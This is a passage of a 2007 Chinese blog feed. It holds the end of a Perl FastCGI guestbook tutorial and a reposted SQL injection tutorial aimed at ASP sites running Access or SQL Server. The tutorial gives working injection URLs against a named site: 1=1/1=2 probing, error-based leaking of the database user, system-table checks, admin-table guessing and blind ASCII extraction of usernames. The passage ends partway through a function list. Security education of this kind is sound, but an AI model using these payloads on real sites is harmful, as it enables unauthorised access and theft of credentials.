#000000">p</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">留言：&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">textarea&nbsp;name</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">content</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;wrap</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">VIRTUAL</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&gt;&lt;/</span><span style="COLOR: #000000">textarea</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">p</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">p</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">submit</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">确定</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">reset</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">清除</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">hidden</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">rw</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">w</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">p</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">form</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">@line</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">Read_Data;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;获取数据库&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">foreach</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">@line</span><span style="COLOR: #000000">)&nbsp;{</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;输出留言内容&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$name</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$content</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">split</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">/&amp;&amp;/,</span><span style="COLOR: #800080">$_</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;qq</span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>姓名：</span><span style="COLOR: #800080">$name</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>内容：</span><span style="COLOR: #800080">$content</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">hr</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$name</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$cgi</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">param(</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">name</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$content</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$cgi</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">param(</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">content</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">local</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$ok</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">1</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$name</span><span style="COLOR: #000000">&nbsp;eq&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">""</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$content</span><span style="COLOR: #000000">&nbsp;eq&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">""</span><span style="COLOR: #000000">)&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">Print_Erro(</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">请填写完所有的内容！</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$ok</span><span style="COLOR: #000000">)&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">Write_Data(</span><span style="COLOR: #800080">$name</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$content</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">Print_Succ(</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">留言成功！</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">sub</span><span style="COLOR: #000000">&nbsp;Read_Data&nbsp;{</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;函数功能：读取数据库&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">open</span><span style="COLOR: #000000">&nbsp;(FILE</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$data_file</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">@line</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">FILE</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">close</span><span style="COLOR: #000000">&nbsp;(FILE);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">@line</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">sub</span><span style="COLOR: #000000">&nbsp;Write_Data&nbsp;{</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;函数功能：写入数据库&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$name</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$content</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">@_</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">open</span><span style="COLOR: #000000">&nbsp;(FILE</span><span style="COLOR: #000000">,</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">&gt;&gt;$data_file</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;FILE&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">$name&amp;&amp;$content\n</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">close</span><span style="COLOR: #000000">&nbsp;(FILE);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">sub</span><span style="COLOR: #000000">&nbsp;Print_Succ&nbsp;{</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;函数功能：输入成功页面&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;qq</span><span style="COLOR: #000000">~</span><span style="COLOR: #800080">@_</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">a&nbsp;href</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">java&nbsp;script:history.go(-1);</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">点击这里查看</span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">a</span><span style="COLOR: #000000">&gt;~</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">sub</span><span style="COLOR: #000000">&nbsp;Print_Erro&nbsp;{</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;函数功能：输入错误页面&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$ok</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">0</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;qq</span><span style="COLOR: #000000">~</span><span style="COLOR: #800080">@_</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">a&nbsp;href</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">java&nbsp;script:history.go(-1);</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">点击这里返回</span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">a</span><span style="COLOR: #000000">&gt;~</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;</span></div>
<p style="COLOR: #008000"><br>作者结束语：试用了以上的程序有何感想？是不是速度飞快？<br>该文章是作者使用FastCGI后的一些经验和感想，如果文章中出现语法错误或系统错误，请大家不吝赐教 <br>下载一：<a href="http://www.fastcgi.com/dist/mod_fastcgi.dll">http://www.fastcgi.com/dist/mod_fastcgi.dll</a> <br>下载二：<a href="http://www.activestate.com/">http://www.activestate.com/</a> <br>下载三：<a href="http://www.activestate.com/PPMPacka...s-only/FCGI.zip">http://www.activestate.com/PPMPacka...s-only/FCGI.zip</a></p>
<img src ="http://www.phpweblog.net/temptation/aggbug/2532.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/temptation/" target="_blank">temptation</a> 2007-12-13 17:08 <a href="http://www.phpweblog.net/temptation/archive/2007/12/13/2532.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转] SQL注入天书—ASP注入漏洞全接触 选自 digituser 的 Blog</title><link>http://www.phpweblog.net/temptation/archive/2007/11/28/2410.html</link><dc:creator>temptation</dc:creator><author>temptation</author><pubDate>Wed, 28 Nov 2007 07:41:00 GMT</pubDate><guid>http://www.phpweblog.net/temptation/archive/2007/11/28/2410.html</guid><wfw:comment>http://www.phpweblog.net/temptation/comments/2410.html</wfw:comment><comments>http://www.phpweblog.net/temptation/archive/2007/11/28/2410.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/temptation/comments/commentRss/2410.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/temptation/services/trackbacks/2410.html</trackback:ping><description><![CDATA[<p style="COLOR: #008000">随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。<br>SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。<br>&nbsp;&nbsp;&nbsp; 但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与&#8220;菜鸟&#8221;的根本区别。<br>根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go...</p>
<p style="COLOR: #008000">入 门 篇<br>如果你以前没试过SQL注入的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。</p>
<p style="COLOR: #008000">第一节、SQL注入原理<br>以下我们从一个网站<a href="http://www.19cn.com/">www.19cn.com</a>开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。<br>在网站首页上，有名为&#8220;IE不能打开新窗口的多种解决方法&#8221;的链接，地址为：<a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a>，我们在这个地址后面加上单引号'，服务器会返回下面的错误提示：<br>Microsoft JET Database Engine 错误 '80040e14' <br>字符串的语法错误 在查询表达式 'ID=49'' 中。 <br>/showdetail.asp，行8<br>从这个错误提示我们能看出下面几点：<br>1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。<br>2.程序没有判断客户端提交的数据是否符合程序要求。<br>3.该SQL语句所查询的表中有一名为ID的字段。<br>从上面的例子我们可以知道，SQL注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。</p>
<p style="COLOR: #008000">第二节、判断能否进行SQL注入<br>看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？<br>其实，这并不是最好的方法，为什么呢？<br>首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。<br>其次，部分对SQL注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的<br>那么，什么样的测试方法才是比较准确呢？答案如下：<br>① <a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a><br>② <a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> and 1=1<br>③ <a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> and 1=2<br>这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：<br>可以注入的表现：<br>① 正常显示（这是必然的，不然就是程序有错误了）<br>② 正常显示，内容基本与①相同<br>③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）<br>不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。<br>　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的&#8220;SQL注入一般步骤&#8221;再做分析。</p>
<p style="COLOR: #008000">第三节、判断数据库类型及注入方法<br>不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。<br>怎么让程序告诉你它使用的什么数据库呢？来看看：<br>SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：<br><a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> and user&gt;0<br>这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 &#8221;abc&#8221; 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。<br>顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将&#8221;dbo&#8221;转换成int的列发生错误，而不是&#8221;sa&#8221;。 <br>如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示&#8220;没有权限&#8221;，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。<br>在确认可以注入的情况下，使用下面的语句：<br><a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> and (select count(*) from sysobjects)&gt;0<br><a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> and (select count(*) from msysobjects)&gt;0<br>如果数据库是SQLServer，那么第一个网址的页面与原页面<a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a>是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。<br>如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。</p>
<p style="COLOR: #008000">进 阶 篇<br>在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：</p>
<p style="COLOR: #008000">第一节、ＳＱＬ注入的一般步骤<br>首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。<br>其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：<br>(A)&nbsp; ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：<br>Select * from 表名 where 字段=49<br>注入的参数为ID=49 And [查询条件]，即是生成语句：<br>Select * from 表名 where 字段=49 And [查询条件]<br>(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：<br>Select * from 表名 where 字段=&#8217;连续剧&#8217; <br>注入的参数为Class=连续剧&#8217; and [查询条件] and &#8216;&#8217;=&#8217; ，即是生成语句：<br>Select * from 表名 where 字段=&#8217;连续剧&#8217; and [查询条件] and &#8216;&#8217;=&#8217;&#8217;<br>(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：<br>Select * from 表名 where 字段like &#8217;%关键字%&#8217; <br>注入的参数为keyword=&#8217; and [查询条件] and &#8216;%25&#8217;=&#8217;， 即是生成语句：<br>Select * from 表名 where字段like &#8217;%&#8217; and [查询条件] and &#8216;%&#8217;=&#8217;%&#8217;<br>接着，将查询条件替换成SQL语句，猜解表名，例如：<br>ID=49 And (Select Count(*) from Admin)&gt;=0<br>如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。<br>表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。<br>有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。<br>有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。<br>&nbsp;&nbsp;&nbsp; 最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。<br>我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：<br><a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> and (select top 1 len(username) from Admin)&gt;0<br>先说明原理：如果top 1的username长度大于0，则条件成立；接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8<br>　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：<br>id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0<br>同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。</p>
<p style="COLOR: #008000">第二节、ＳＱＬ注入常用函数<br>有SQL语言基础的人，在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。<br>Access：asc(字符)&nbsp; SQLServer：unicode(字符)<br>作用：返回某字符的ASCII码<br>Access：chr(数字)&nbsp; SQLServer：nchar(数字)<br>作用：与asc相反，根据ASCII码返回字符<br>Access：mid(字符串,N,L)&nbsp; SQLServer：substring(字符串,N,L)<br>作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串<br>Access：abc(数字)&nbsp; SQLServer：abc (数字)<br>作用：返回数字的绝对值（在猜解汉字的时候会用到）<br>Access：A between B And C&nbsp; SQLServer：A between B And C<br>作用：判断A是否界于B与C之间</p>
